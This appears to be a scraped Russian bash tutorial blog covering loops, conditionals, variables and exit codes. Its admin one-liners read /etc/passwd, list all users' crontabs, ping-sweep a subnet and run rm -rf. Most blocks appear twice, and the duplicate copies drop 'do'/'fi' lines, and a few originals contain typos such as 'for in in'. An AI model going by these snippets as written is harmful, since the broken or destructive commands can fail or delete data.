Рубрика: bash

bash

bash / while / until / for / if / цыклы

Автор записи Автор: Evgeny Yakovlev
Дата записи 2023/04/17

Синтаксис и примеры for:

Пример for в файле:
for variable in list
do
    commands
done

Пример for в командной строке:
for variable in list ; do commands ; done

Пример использования for в командной строке:
$ ls
filemgr.png  terminal.png
$ for f in *.png ; do mv $f screenshot-$f ; done
$ ls
screenshot-filemgr.png  screenshot-terminal.png

Пример for в файле:

for variable in list

commands

done

Пример for в командной строке:

for variable in list ; do commands ; done

Пример использования for в командной строке:

$ ls

filemgr.png terminal.png

$ for f in *.png ; do mv $f screenshot-$f ; done

$ ls

screenshot-filemgr.png screenshot-terminal.png

Синтаксис и примеры if:

Пример if в файле:
if test
then
    commands
fi

Пример if в файле:
if test
then
    commands
else
    commands
fi

Синтаксис и примеры if: 
if test
then
    commands
elif test2
then
    commands
elif test3
then
    commands
else
    commands
fi

Пример использования if в командной строке:
$ ls
datafile  emptyfile
$ if [ ! -s datafile ] ; then echo "empty" ; fi
$ if [ ! -s emptyfile ] ; then echo "empty" ; fi
empty

Пример if в файле:

if test

then

commands

Пример if в файле:

if test

then

commands

else

commands

Синтаксис и примеры if:

if test

then

commands

elif test2

then

commands

elif test3

then

commands

else

commands

Пример использования if в командной строке:

$ ls

datafile emptyfile

$ if [ ! -s datafile ] ; then echo "empty" ; fi

$ if [ ! -s emptyfile ] ; then echo "empty" ; fi

empty

Циклы until:

Единственное отличие между циклами while и unti 1 заключается в том, что условие формулируется с противоположной логикой. 
Следующая команда эквивалентна вышеуказанному циклу while. При этом для формулировки условия i > 5 применяется оператор -gt (больше).

1 2	Единственное отличие между циклами while и unti 1 заключается в том, что условие формулируется с противоположной логикой. Следующая команда эквивалентна вышеуказанному циклу while. При этом для формулировки условия i > 5 применяется оператор -gt (больше).

i=1; until [ $i  -gt 5 ]; do echo $i;  i=$[$i+1]; done

1	i=1; until [ $i -gt 5 ]; do echo $i; i=$[$i+1]; done

Циклы while:

В следующем примере переменной i присваивается значение 1. 
Потом значение переменной, находящейся в теле цикла между do и done, при каждом выполнении цикла увеличивается на 1, пока не будет превышено значение 5. 
Обратите внимание, что условия должны указываться в квадратных скобках, как это делалось с условными переходами if, с командой test или с ее сокращенным вариантом.

В следующем примере переменной i присваивается значение 1.

Потом значение переменной, находящейся в теле цикла между do и done, при каждом выполнении цикла увеличивается на 1, пока не будет превышено значение 5.

Обратите внимание, что условия должны указываться в квадратных скобках, как это делалось с условными переходами if, с командой test или с ее сокращенным вариантом.

Пример 0:

i=1; while [ $i -le 5 ]; do echo $i; i=$[$i+1]; done

1	i=1; while [ $i -le 5 ]; do echo $i; i=$[$i+1]; done

Пример 1:

Следующий цикл обрабатывает все имена файлов, получаемые после выполнения команды ls *. jpg:
ls *.txt | while read file ; do echo "$file" ; done

1 2	Следующий цикл обрабатывает все имена файлов, получаемые после выполнения команды ls . jpg: ls .txt \| while read file ; do echo "$file" ; done

Пример 2:

Следующий цикл обрабатывает все имена файлов, проходит по каждому файлу и печатает содержимое файла.
ls *.txt | while read file ; do echo "\\n ### \\n ### \\t $file \\n ###" && cat "$file" ; done

1 2	Следующий цикл обрабатывает все имена файлов, проходит по каждому файлу и печатает содержимое файла. ls *.txt \| while read file ; do echo "\\n ### \\n ### \\t $file \\n ###" && cat "$file" ; done

Бесконечный цикл while:

#!/bin/bash
while :
do
	echo "Press [CTRL+C] to stop.."
	sleep 1
done

#!/bin/bash

while :

echo "Press [CTRL+C] to stop.."

sleep 1

done

Бесконечный цикл while:

#!/bin/bash
while true
do
	echo "Press [CTRL+C] to stop.."
	sleep 1
done

#!/bin/bash

while true

echo "Press [CTRL+C] to stop.."

sleep 1

done

Бесконечный цикл показывать время каждую секунду

#!/bin/bash
while :;do clear ;date ;sleep 1;done

1 2	#!/bin/bash while :;do clear ;date ;sleep 1;done

Бесконечный цикл меню while:

#!/bin/bash
# Purpose: Display various options to operator using menus
# Author: Vivek Gite < vivek @ nixcraft . com > under GPL v2.0+
# ---------------------------------------------------------------------------
# capture CTRL+C, CTRL+Z and quit singles using the trap
trap '' SIGINT
trap ''  SIGQUIT
trap '' SIGTSTP
 
# display message and pause 
pause(){
	local m="$@"
	echo "$m"
	read -p "Press [Enter] key to continue..." key
}
 
# set an 
while :
do
	# show menu
	clear
	echo "---------------------------------"
	echo "	     M A I N - M E N U"
	echo "---------------------------------"
	echo "1. Show current date/time"
	echo "2. Show what users are doing"
	echo "3. Show top memory & cpu eating process"
	echo "4. Show network stats"
	echo "5. Exit"
	echo "---------------------------------"
	read -r -p "Enter your choice [1-5] : " c
	# take action
	case $c in
		1) pause "$(date)";;
		2) w| less;;
		3) echo '*** Top 10 Memory eating process:'; ps -auxf | sort -nr -k 4 | head -10;
		   echo; echo '*** Top 10 CPU eating process:';ps -auxf | sort -nr -k 3 | head -10;
		   echo;  pause;;
		4) netstat -s | less;;
		5) break;;
		*) Pause "Select between 1 to 5 only"
	esac
done

#!/bin/bash

# Purpose: Display various options to operator using menus

# Author: Vivek Gite < vivek @ nixcraft . com > under GPL v2.0+

# ---------------------------------------------------------------------------

# capture CTRL+C, CTRL+Z and quit singles using the trap

trap '' SIGINT

trap '' SIGQUIT

trap '' SIGTSTP

# display message and pause

pause(){

local m="$@"

echo "$m"

read -p "Press [Enter] key to continue..." key

}

# set an

while :

# show menu

clear

echo "---------------------------------"

echo " M A I N - M E N U"

echo "---------------------------------"

echo "1. Show current date/time"

echo "2. Show what users are doing"

echo "3. Show top memory & cpu eating process"

echo "4. Show network stats"

echo "5. Exit"

echo "---------------------------------"

read -r -p "Enter your choice [1-5] : " c

# take action

case $c in

1) pause "$(date)";;

2) w| less;;

3) echo '*** Top 10 Memory eating process:'; ps -auxf | sort -nr -k 4 | head -10;

echo; echo '*** Top 10 CPU eating process:';ps -auxf | sort -nr -k 3 | head -10;

echo; pause;;

4) netstat -s | less;;

5) break;;

*) Pause "Select between 1 to 5 only"

esac

done

For-циклы:

Циклы в bash создаются с помощью трех команд. Команда for осуществляет цикл со всеми элементами указанного списка. 
Команда while выполняет цикл до тех пор, пока указанное условие не перестанет выполняться. 
Команда until, наоборот, осуществляет цикл до тех пор, пока указанное условие не будет выполнено. 
Все три цикла можно досрочно завершить командой break. 
Команда continue пропускает оставшуюся часть тела цикла и запускает цикл заново.
В первом примере переменной i по очереди присваиваются последовательности символов a, b и с. 
В теле цикла между do и done выводится содержимое переменной. 
Обратите внимание, что в конце списка, а также в конце команды echo необходимо поставить точку с запятой. 
Отказаться от этих точек с запятой можно лишь тогда, когда ввод разделен на несколько строк (часто такое случается в сценарных файлах).

Список для for может быть построен с использованием джокерных символов для имен файлов или с использованием конструкций вида {..}, 
с помощью которых создаются последовательности символов. 

(В Linux/UNIX тильда (~) в конце имени файла обычно означает резервную копию. 
При работе с командой ср выражение $file всякий раз ставится в кавычках, 
чтобы имена файлов, содержащие пробелы, обрабатывались правильно.)

Если циклы for создаются без in ..., то переменные циклов получают по порядку все параметры, 
переданные при вызове (то есть это соответствует in $*). Похож на цикл case.
Но когда в примере с case передаются имена файлов, содержащие пробелы, без проблем не обходится. 
Bash интерпретирует пробелы как разделительные знаки и обрабатывает части имени файла отдельно.

Циклы в bash создаются с помощью трех команд. Команда for осуществляет цикл со всеми элементами указанного списка.

Команда while выполняет цикл до тех пор, пока указанное условие не перестанет выполняться.

Команда until, наоборот, осуществляет цикл до тех пор, пока указанное условие не будет выполнено.

Все три цикла можно досрочно завершить командой break.

Команда continue пропускает оставшуюся часть тела цикла и запускает цикл заново.

В первом примере переменной i по очереди присваиваются последовательности символов a, b и с.

В теле цикла между do и done выводится содержимое переменной.

Обратите внимание, что в конце списка, а также в конце команды echo необходимо поставить точку с запятой.

Отказаться от этих точек с запятой можно лишь тогда, когда ввод разделен на несколько строк (часто такое случается в сценарных файлах).

Список для for может быть построен с использованием джокерных символов для имен файлов или с использованием конструкций вида {..},

с помощью которых создаются последовательности символов.

(В Linux/UNIX тильда (~) в конце имени файла обычно означает резервную копию.

При работе с командой ср выражение $file всякий раз ставится в кавычках,

чтобы имена файлов, содержащие пробелы, обрабатывались правильно.)

Если циклы for создаются без in ..., то переменные циклов получают по порядку все параметры,

переданные при вызове (то есть это соответствует in $*). Похож на цикл case.

Но когда в примере с case передаются имена файлов, содержащие пробелы, без проблем не обходится.

Bash интерпретирует пробелы как разделительные знаки и обрабатывает части имени файла отдельно.

Пример 0 (консоль) for:

for i in a b с; do echo $i; done

1	for i in a b с; do echo $i; done

Пример 0 (скрипт) for:

#! /bin/sh
for i in a b c; do 
 echo $i 
done

#! /bin/sh

for i in a b c; do

echo $i

done

Пример 1 (консоль(все файлы *. tex копируются в *.tex~.)) for:

for file in *.tex; do cp "$file" "$file~"; done

1	for file in *.tex; do cp "$file" "$file~"; done

Пример 2 for:

#!/bin/bash
# Цикл проходит через все
# правильно справляется с пробелами в именах файлов
for i in "$@"; do 
 ls -l  "$i" 
done

#!/bin/bash

# Цикл проходит через все

# правильно справляется с пробелами в именах файлов

for i in "$@"; do

ls -l "$i"

done

Пример 3 for:

Выполняется команда ls и формируется список из файлов, дальше выводит содержимое файлов и каждый вывод отделается пустыми строками с #### и именем файла
for i in `ls` ;do echo -e "\\n#### $i \\n" && cat $i ;done

1 2	Выполняется команда ls и формируется список из файлов, дальше выводит содержимое файлов и каждый вывод отделается пустыми строками с #### и именем файла for i in `ls` ;do echo -e "\\n#### $i \\n" && cat $i ;done

Генерация списков и чисел for:

for((i=1; i< 255; i++));do echo $i; done - генерируем число от 1 до 255 и выводим на экран

echo $(( RANDOM % (10 - 5 + 1 ) + 5 ))

seq -w 1 10000000000

for((i=1; i< 255; i++));do echo $i; done - генерируем число от 1 до 255 и выводим на экран

echo $(( RANDOM % (10 - 5 + 1 ) + 5 ))

seq -w 1 10000000000

Еще примеры for:

# ping 
for ipz in $(for((i=1; i< 255; i++));do echo $i; done) ; do echo 192.168.15.$ipz >> ip_files.txt ; done

# ping 
for pingz in $(cut ip_files.txt); do ping -c1  $pingz ; done

# cut file
for user in $(cut -d':' -f1 /etc/passwd); do crontab -u $user -l; done

# sed edit file
for i in file1 file2 file3 ; do sed -i 's/123456/abvgd/g' /home/user/$i; done

# grep -R vnc /kvm/$(hostname -s)/*.xml | egrep -o "port='[0-9]+'" | sed -e "s/'//g" | awk -F"port=" '{print $2}' | sort -n

# openwrt hostname???
for i in `cat hosts.txt | tail -n 35 | grep -v "#"`; do echo " #### server IP = $i ###" && ssh root@$i uci get  system.@system[0].hostname; done

# parse MAC
for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do ssh $i ip a | grep ether | awk '{print $2}' && echo ; done

# parse MAC print host
for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do ssh $i uci get  system.@system[0].hostname && ip a | grep ether | awk '{print $2}' && echo ; done

##parse maccc
for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do ssh $i fdddd="`uci get  system.@system[0].hostname`" && echo $fdddd  && ip a | grep ether | awk '{print $2}' && echo ; done

#scp file
for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do scp bat-hosts root@$i:/etc/bat-hosts; done

#scp nameserver 192.168.1.1
for i in `cat hosts.txt.ssh`; do scp resolv.conf ${i}:/etc/resolv.conf; done

#test scp resolv.conf
for i in `cat hosts.txt.ssh`; do ssh $i cat  /etc/resolv.conf; done

#rm files
for f in log.* ; do if [ ! -s $f ] ; then rm -v $f ; fi ; done

# ping

for ipz in $(for((i=1; i< 255; i++));do echo $i; done) ; do echo 192.168.15.$ipz >> ip_files.txt ; done

# ping

for pingz in $(cut ip_files.txt); do ping -c1 $pingz ; done

# cut file

for user in $(cut -d':' -f1 /etc/passwd); do crontab -u $user -l; done

# sed edit file

for i in file1 file2 file3 ; do sed -i 's/123456/abvgd/g' /home/user/$i; done

# grep -R vnc /kvm/$(hostname -s)/*.xml | egrep -o "port='[0-9]+'" | sed -e "s/'//g" | awk -F"port=" '{print $2}' | sort -n

# openwrt hostname???

for i in `cat hosts.txt | tail -n 35 | grep -v "#"`; do echo " #### server IP = $i ###" && ssh root@$i uci get system.@system[0].hostname; done

# parse MAC

for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do ssh $i ip a | grep ether | awk '{print $2}' && echo ; done

# parse MAC print host

for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do ssh $i uci get system.@system[0].hostname && ip a | grep ether | awk '{print $2}' && echo ; done

##parse maccc

for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do ssh $i fdddd="`uci get system.@system[0].hostname`" && echo $fdddd && ip a | grep ether | awk '{print $2}' && echo ; done

#scp file

for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do scp bat-hosts root@$i:/etc/bat-hosts; done

#scp nameserver 192.168.1.1

for i in `cat hosts.txt.ssh`; do scp resolv.conf ${i}:/etc/resolv.conf; done

#test scp resolv.conf

for i in `cat hosts.txt.ssh`; do ssh $i cat /etc/resolv.conf; done

#rm files

for f in log.* ; do if [ ! -s $f ] ; then rm -v $f ; fi ; done

bash

bash проверить успешность выполнения команды в bash

Автор записи Автор: Evgeny Yakovlev
Дата записи 2022/08/15

Выполняем следующую команду в случае выполнения первой команды:

## В этот нам помогает &&
apt update && sudo apt upgrade -y

1 2	## В этот нам помогает && apt update && sudo apt upgrade -y

Успешность выполнения команды:

Каждая команда, выполняемая в оболочке bash, возвращает значение, которое хранится в переменной bash «$?». 
Чтобы получить значение, запустите эту команду.
Если команда выполнена успешно, возвращаемое значение будет 0. 
Если возвращаемое значение иное, значит, она не выполнилась должным образом.

Каждая команда, выполняемая в оболочке bash, возвращает значение, которое хранится в переменной bash «$?».

Чтобы получить значение, запустите эту команду.

Если команда выполнена успешно, возвращаемое значение будет 0.

Если возвращаемое значение иное, значит, она не выполнилась должным образом.

Пример применения в скрипте:

#!/bin/bash
YOU_COMMAND
if [ $? -eq 0 ]; then
echo OK
else
echo FAIL
fi

#!/bin/bash

YOU_COMMAND

if [ $? -eq 0 ]; then

echo OK

else

echo FAIL

Пример применения и использования:

<command> && echo SUCCESS || echo FAIL
Здесь команда разделена на две части символом «||».
Если первая команда выполняется успешно, должна выполняться первая команда echo. 
В противном случае будет запущена вторая команда echo. Давайте проверим это на примере.
apt update && echo SUCCESS || echo FAIL

<command> && echo SUCCESS || echo FAIL

Здесь команда разделена на две части символом «||».

Если первая команда выполняется успешно, должна выполняться первая команда echo.

В противном случае будет запущена вторая команда echo. Давайте проверим это на примере.

apt update && echo SUCCESS || echo FAIL

Еще один пример скрипта:

#!/bin/bash
if YOU_COMMAND; then
echo “Success”
else
echo “Failure, exit status: $?”
fi

#!/bin/bash

if YOU_COMMAND; then

echo “Success”

else

echo “Failure, exit status: $?”

bash

watch / наблюдение за командой и запись в файл

Автор записи Автор: Evgeny Yakovlev
Дата записи 2022/05/26

!!! так работать не будет. в файл будет записан мусор самой команды watch
watch -n 0.5  batctl o | tee -a log.txt

Правильно использовать кавычки:
watch -n 0.5  "batctl o | tee -a log.txt"

!!! так работать не будет. в файл будет записан мусор самой команды watch

watch -n 0.5 batctl o | tee -a log.txt

Правильно использовать кавычки:

watch -n 0.5 "batctl o | tee -a log.txt"

bash разное

Конспект: sh / bash

Автор записи Автор: Evgeny Yakovlev
Дата записи 2021/05/16

Переменные:

Принципы:

EDITOR=nano crontab -e

export http_proxy=http://ya.ru:3128 - объявляем глобальную переменную
wget http://что_то_скачать - пытаемся воспользоваться wget


Показать переменные:
set - показывает все переменные окружения
env - показывает переменные помеченные как экспортируемые

Можно увидеть в настройках:
login, sshd, telnetd,  ~/.profile,  ~/.cshrc и в других файлах.
Переменные: HOME, SHELL, PATH, TERM. LOGNAME, USER, EDITOR, ENV и т.д.

Принципы:

EDITOR=nano crontab -e

export http_proxy=http://ya.ru:3128 - объявляем глобальную переменную

wget http://что_то_скачать - пытаемся воспользоваться wget

Показать переменные:

set - показывает все переменные окружения

env - показывает переменные помеченные как экспортируемые

Можно увидеть в настройках:

Переменные: HOME, SHELL, PATH, TERM. LOGNAME, USER, EDITOR, ENV и т.д.

Примеры \ присвоения переменной:

0. Переменную распознает программа  
1. Переменную распознает шелл

Пример как присваивается переменная:
a=HEllo
set | grep '^a'

export a
env | grep '^a'

dir=/bin
ls -l $dir

echo $a

a=pwd
$a

Примеры с кавычками:
Различие между кавычками
В одинарных кавычках содержимое выводится как есть.
В двойных кавычках переменные исполняются.

a='Hello World'
echo $a

a="Hello World"
echo $a

Обходимся без кавычек, экранирование пробела с помощь слеша:
a=Hello\ World
echo $a

Примеры подстановки переменной:
a="Hello"
b=$a
echo $b

Пример с подстановкой переменно и работы одинарной кавычки
Одинарные кавычки всегда передают значение как есть, то есть шелл проигнорирует переменную.
b='$a World'
echo $b

Пример а если мы всё-таки хотим передать переменную:
На помощь приходят двойные кавычки:
b="$a World"
echo $b

Экранирование(слеш):
Слеш отменяет действие многих спец символов.
b=$a\ world
echo $b

b=\$a\ World
echo $b

b=$aWorld
echo $b

b=${a}World
echo $a
echo $b

Значения переменных рекомендуется брать в фигурные скобки.
b=${a}World
echo $a
echo $b

0. Переменную распознает программа

1. Переменную распознает шелл

Пример как присваивается переменная:

a=HEllo

set | grep '^a'

export a

env | grep '^a'

dir=/bin

ls -l $dir

echo $a

a=pwd

Примеры с кавычками:

Различие между кавычками

В одинарных кавычках содержимое выводится как есть.

В двойных кавычках переменные исполняются.

a='Hello World'

echo $a

a="Hello World"

echo $a

Обходимся без кавычек, экранирование пробела с помощь слеша:

a=Hello\ World

echo $a

Примеры подстановки переменной:

a="Hello"

b=$a

echo $b

Пример с подстановкой переменно и работы одинарной кавычки

Одинарные кавычки всегда передают значение как есть, то есть шелл проигнорирует переменную.

b='$a World'

echo $b

Пример а если мы всё-таки хотим передать переменную:

На помощь приходят двойные кавычки:

b="$a World"

echo $b

Экранирование(слеш):

Слеш отменяет действие многих спец символов.

b=$a\ world

echo $b

b=\$a\ World

echo $b

b=$aWorld

echo $b

b=${a}World

echo $a

echo $b

Значения переменных рекомендуется брать в фигурные скобки.

b=${a}World

echo $a

echo $b

Арифметика

!!! шелл оперирует переменными окружениями
!!! Арифметики не будет при таких записях:
a=3+6
echo $a

a=222
b=333

c=${a}${b}
echo $c

c=${a}+${b}
echo $c

!!! Арифметике быть!
Для арифметических действий используется конструкция из скобок $(( выражение ))
a=$((3+6))
a=$(($a*6))

А если сделать вот так:
c=((${a}+${b}))
c=$((${a}+${b}))
echo $c

Программа для арифметики expr:
a=1
a=$(expr $a + 1)
echo $a

!!! шелл оперирует переменными окружениями

!!! Арифметики не будет при таких записях:

a=3+6

echo $a

a=222

b=333

c=${a}${b}

echo $c

c=${a}+${b}

echo $c

!!! Арифметике быть!

Для арифметических действий используется конструкция из скобок $(( выражение ))

a=$((3+6))

a=$(($a*6))

А если сделать вот так:

c=((${a}+${b}))

c=$((${a}+${b}))

echo $c

Программа для арифметики expr:

a=1

a=$(expr $a + 1)

echo $a

Применение переменных с программами:

` - обратный апостроф ( не путать с одинарной кавычкой)
` - служит для выполнения команды

`команда` - выполнится команда внутри апострофов
$(команда) - ведет себя аналогично при использовании обратного апострофа (`)

dir='pwd'
echo $dir

d=$(date)
echo $d

x=`date '+%Y.%m.%d'`
echo $x

z=$(date '+%Y.%m.%d')
echo $z

c=`ps -uaxf | grep sshd |grep -v grep`
echo $c


сгенерировать случайное число
rnd=`jot -r 1 1 10`

Сгенерировать число от 1 до 10 
gen10=`seq 10`
echo $gen10

filecount=`ls/bin | wc -l`
echo $filecount

` - обратный апостроф ( не путать с одинарной кавычкой)

` - служит для выполнения команды

`команда` - выполнится команда внутри апострофов

$(команда) - ведет себя аналогично при использовании обратного апострофа (`)

dir='pwd'

echo $dir

d=$(date)

echo $d

x=`date '+%Y.%m.%d'`

echo $x

z=$(date '+%Y.%m.%d')

echo $z

c=`ps -uaxf | grep sshd |grep -v grep`

echo $c

сгенерировать случайное число

rnd=`jot -r 1 1 10`

Сгенерировать число от 1 до 10

gen10=`seq 10`

echo $gen10

filecount=`ls/bin | wc -l`

echo $filecount

Ввод пользователя

Программа read, ожидает ввода пользователя и сохраняет в переменную
read a
echo $a

Пример использования:
echo -n "Enter Name: "; read a; echo Hello "$a"

Программа read, ожидает ввода пользователя и сохраняет в переменную

read a

echo $a

Пример использования:

echo -n "Enter Name: "; read a; echo Hello "$a"

Подстановки в файл:

Речь идет о спец символах * ? и т.д.

echo /bin/c* - покажет все файлы начинающиеся на c

cat - можно редактировать и смотреть файлы (при использовании <>)

file - команда позволяет определить тип файла, что бы случайно не открыть бинарный файл

Речь идет о спец символах * ? и т.д.

echo /bin/c* - покажет все файлы начинающиеся на c

cat - можно редактировать и смотреть файлы (при использовании <>)

file - команда позволяет определить тип файла, что бы случайно не открыть бинарный файл

Чтение переменных с исключением

0. Пример исключаем суффикс sample при выводе переменной i
i=sip.conf.sample

echo $i
echo ${i}
echo ${i%.sample}

1. Пример исключить (GET /) при выводе переменной i
i='GET /index.html'
echo ${i#GET /}

0. Пример исключаем суффикс sample при выводе переменной i

i=sip.conf.sample

echo $i

echo ${i}

echo ${i%.sample}

1. Пример исключить (GET /) при выводе переменной i

i='GET /index.html'

echo ${i#GET /}

Удаление переменной

unset CLICOLOR
unset EDITOR
unset http_proxy

unset CLICOLOR

unset EDITOR

unset http_proxy

Объединение команд (;)

echo -n "Enter Name: "; read a; echo Hello "$a"
sleep 3; echo -e "\007"

1 2	echo -n "Enter Name: "; read a; echo Hello "$a" sleep 3; echo -e "\007"

Последовательные команды в текстовом файле

Пример файла:
vim 1.txt
---------
echo -n "Enter Name: "
read p
echo Hello "$p"
---------

Пример выполнения 1:
sh 1.txt - запасаем новый шелл и выполняем файл 1.txt

Пример выполнения 2:
. 1.txt - точка говорит выполнить в текущем контексте шелла файл 1.txt

Пример файла:

vim 1.txt

---------

echo -n "Enter Name: "

read p

echo Hello "$p"

---------

Пример выполнения 1:

sh 1.txt - запасаем новый шелл и выполняем файл 1.txt

Пример выполнения 2:

. 1.txt - точка говорит выполнить в текущем контексте шелла файл 1.txt

Последовательные команды в выполняемом файле

Пример файла f2.sh:
-------------
#!/bin/sh
echo -n "Enter Name: "
read p
echo Hello "$p !!!"
-------------

Выполнение:
chmod u+x f2.sh - даем права на выполнения файла

f2.sh - выполняем файл при условии если он расположен в PATH

/home/user/f2.sh
./f2.sh


sh f2.sh
. f2.sh

Пример файла f2.sh:

-------------

#!/bin/sh

echo -n "Enter Name: "

read p

echo Hello "$p !!!"

-------------

Выполнение:

chmod u+x f2.sh - даем права на выполнения файла

f2.sh - выполняем файл при условии если он расположен в PATH

/home/user/f2.sh

./f2.sh

sh f2.sh

. f2.sh

Функции:

function ()

1	function ()

Специальные символы

$? - коды возврата

[ - это программа сравнения, и если выполнить (which [) мы увидим что программа называется test и она возвращает 1 или 0, код возврата можно увидеть по echo $?
man [
test 6 -lt 3
echo $?


$1 - аргумент запуска программы 
$2 - аргумент запуска программы
$3  - аргумент запуска программы

Пример работы:
agr.sh - создаем скрипт
--------------
echo $2 $3 $1
--------------

Ну и проверяем: 
. agr.sh aaa bbb ccc

&& - если программа этого символом && выполнилась успешно выполняй следующую после этого символа &&


#  - комментарий


Операторы равенства:
eq  равно (=) (Equals)
ne  не равно (!=) (Not equal)

Операторы диапазона:
gt больше (>) (Greater than)
lt меньше (<) (Less than)
ge больше или равно (=>) (Equal or greater than)
le меньше или равно (=<) (Equal or less than)


Во многих языках программирования двоеточие (:) означает истина (True) и возвращает 0

Задать символ разделитель с помощью IFS
IFS=:

$? - коды возврата

[ - это программа сравнения, и если выполнить (which [) мы увидим что программа называется test и она возвращает 1 или 0, код возврата можно увидеть по echo $?

man [

test 6 -lt 3

echo $?

$1 - аргумент запуска программы

$2 - аргумент запуска программы

$3 - аргумент запуска программы

Пример работы:

agr.sh - создаем скрипт

--------------

echo $2 $3 $1

--------------

Ну и проверяем:

. agr.sh aaa bbb ccc

&& - если программа этого символом && выполнилась успешно выполняй следующую после этого символа &&

# - комментарий

Операторы равенства:

eq равно (=) (Equals)

ne не равно (!=) (Not equal)

Операторы диапазона:

gt больше (>) (Greater than)

lt меньше (<) (Less than)

ge больше или равно (=>) (Equal or greater than)

le меньше или равно (=<) (Equal or less than)

Во многих языках программирования двоеточие (:) означает истина (True) и возвращает 0

Задать символ разделитель с помощью IFS

IFS=:

Целочисленный цикл while пример на ping

0. Пример в файле ex2.sh:
---------------
# Пример цикла выполнять до
i=1
while [ $i -lt 254 ]
do
  #test $i = 50 && continue 
  ping -c 1 -W 1 $1.$i > /dev/null 2>&1 && echo $1.$i
  i=$(($i + 1))
done

---------------
Запуск:
ex2.sh 192.168.1



1. Пример в файле ex3.sh:
---------------
# Пример цикла выполнять до
i=1
while :
do
  ping -c 1 -W 1 $1.$i > /dev/null 2>&1 && echo $1.$i
  i=$(($i + 1))
  test $i -eq 254 && break # прервет цикл
done
---------------

0. Пример в файле ex2.sh:

---------------

# Пример цикла выполнять до

i=1

while [ $i -lt 254 ]

#test $i = 50 && continue

ping -c 1 -W 1 $1.$i > /dev/null 2>&1 && echo $1.$i

i=$(($i + 1))

done

---------------

Запуск:

ex2.sh 192.168.1

1. Пример в файле ex3.sh:

---------------

# Пример цикла выполнять до

i=1

while :

ping -c 1 -W 1 $1.$i > /dev/null 2>&1 && echo $1.$i

i=$(($i + 1))

test $i -eq 254 && break # прервет цикл

done

---------------

Примеры цикла for:

Пример показать все файлы заканчивающийся на (*.txt) :
for i in *.txt; do echo $i; done

Пример массового переименования:
for in in *sample; do cp $i ${i%.sample}; done

Пример что бы показать что списком может быть что угодно: 
for i in `ps -aux | awk '{print $1,$11}'`; do echo $i; done

Пример создаем пустые файлы *.txt:
for i in 1 2 3 4 5 6 7 8 9 10; do touch $i.txt; done

Пример создаем пустые файлы *.txt:
for i in 1 2 3 4 5 6 7 8 9 10; do touch $i.txt; done

Пример создаем пустые файлы *.txt:
for i in $(for((i=1; i<11; i++)) do echo $i; done); do echo > $i.txt; done

Пример создания списка ip:
for ipz in $(for((i=1; i< 255; i++));do echo $i; done) ; do echo 192.168.15.$ipz >> ip_files.txt ; done

Пример использования списка ip и применения команды ping:
for pingz in $(cut ip_files.txt); do ping -c1  $pingz ; done

Пример как показать все crontab всех пользователей: 
for user in $(cut -d':' -f1 /etc/passwd); do crontab -u $user -l; done

Пример вытаскиваем первое поле из файла и подставляем перед ним user:
for i in `cut -d: -f1 /etc/passwd`; do echo user $i; done

Пример перемещения файлов используя список:
for x in catalog director messages user fileset client job jobdefs pool schedule storage use; do  mv /etc/bareos/bareos-dir.d/${x} tmp/bareos-dir.d/; done

Пример показать все файлы заканчивающийся на (*.txt) :

for i in *.txt; do echo $i; done

Пример массового переименования:

for in in *sample; do cp $i ${i%.sample}; done

Пример что бы показать что списком может быть что угодно:

for i in `ps -aux | awk '{print $1,$11}'`; do echo $i; done

Пример создаем пустые файлы *.txt:

for i in 1 2 3 4 5 6 7 8 9 10; do touch $i.txt; done

Пример создаем пустые файлы *.txt:

for i in 1 2 3 4 5 6 7 8 9 10; do touch $i.txt; done

Пример создаем пустые файлы *.txt:

for i in $(for((i=1; i<11; i++)) do echo $i; done); do echo > $i.txt; done

Пример создания списка ip:

for ipz in $(for((i=1; i< 255; i++));do echo $i; done) ; do echo 192.168.15.$ipz >> ip_files.txt ; done

Пример использования списка ip и применения команды ping:

for pingz in $(cut ip_files.txt); do ping -c1 $pingz ; done

Пример как показать все crontab всех пользователей:

for user in $(cut -d':' -f1 /etc/passwd); do crontab -u $user -l; done

Пример вытаскиваем первое поле из файла и подставляем перед ним user:

for i in `cut -d: -f1 /etc/passwd`; do echo user $i; done

Пример перемещения файлов используя список:

for x in catalog director messages user fileset client job jobdefs pool schedule storage use; do mv /etc/bareos/bareos-dir.d/${x} tmp/bareos-dir.d/; done

Чтение из файлов, парсинг файлов, while, for:

Пример использования IFS, перенаправления в read
------------------------
#!/bin/sh
IFS=:
while read a b c d e f g
do 
   echo "$a $g"
done < /etc/passwd
------------------------



Пример с использованием for
------------------------
#!/bin/sh
for i in `cut -d: -f1 /etc/passwd`
do
  echo user $i
done
------------------------

Пример использования IFS, перенаправления в read

------------------------

#!/bin/sh

IFS=:

while read a b c d e f g

echo "$a $g"

done < /etc/passwd

------------------------

Пример с использованием for

------------------------

#!/bin/sh

for i in `cut -d: -f1 /etc/passwd`

echo user $i

done

------------------------

Пример for, while

!!! ls создается список файлов
!!! echo и cat, на stdout выводится список файлов и показывается содержимое файла 
Пример 1:
for i in `ls` ; do echo -e "\\n#### $i \\n" && cat $i ; done 
Пример 2:
ls * | while read file ; do echo "$file" && cat "$file" ; done

!!! ls создается список файлов

!!! echo и cat, на stdout выводится список файлов и показывается содержимое файла

Пример 1:

for i in `ls` ; do echo -e "\\n#### $i \\n" && cat $i ; done

Пример 2:

ls * | while read file ; do echo "$file" && cat "$file" ; done

Пример (while read LINE), удаление файлов:

!!!find /dir/dir2/dir3 -type f -mtime +1 -name "*.broken" -delete >/dev/null 2>/dev/null - ищем файлы в каталоге (/dir/dir2/dir3) в имени которых встречается "*.broken" и молча их удаляем (>/dev/null 2>/dev/null) 
!!!find /dir/dir2/ -mindepth 1 -maxdepth 1 -ctime +5 -type d -delete - ищем каталоги в  каталоге (/dir/dir2/) старше 5 дней и удаляем их


Пример скрипта:
/usr/bin/find /dir/dir2/dir3 -mindepth 1 -maxdepth 1 -ctime +2 -type d | sort -n | head -n-3 | while read LINE; do
    echo "[/dir1/dir2/dir3] ${LINE}"
    rm -rf "${LINE}"
done

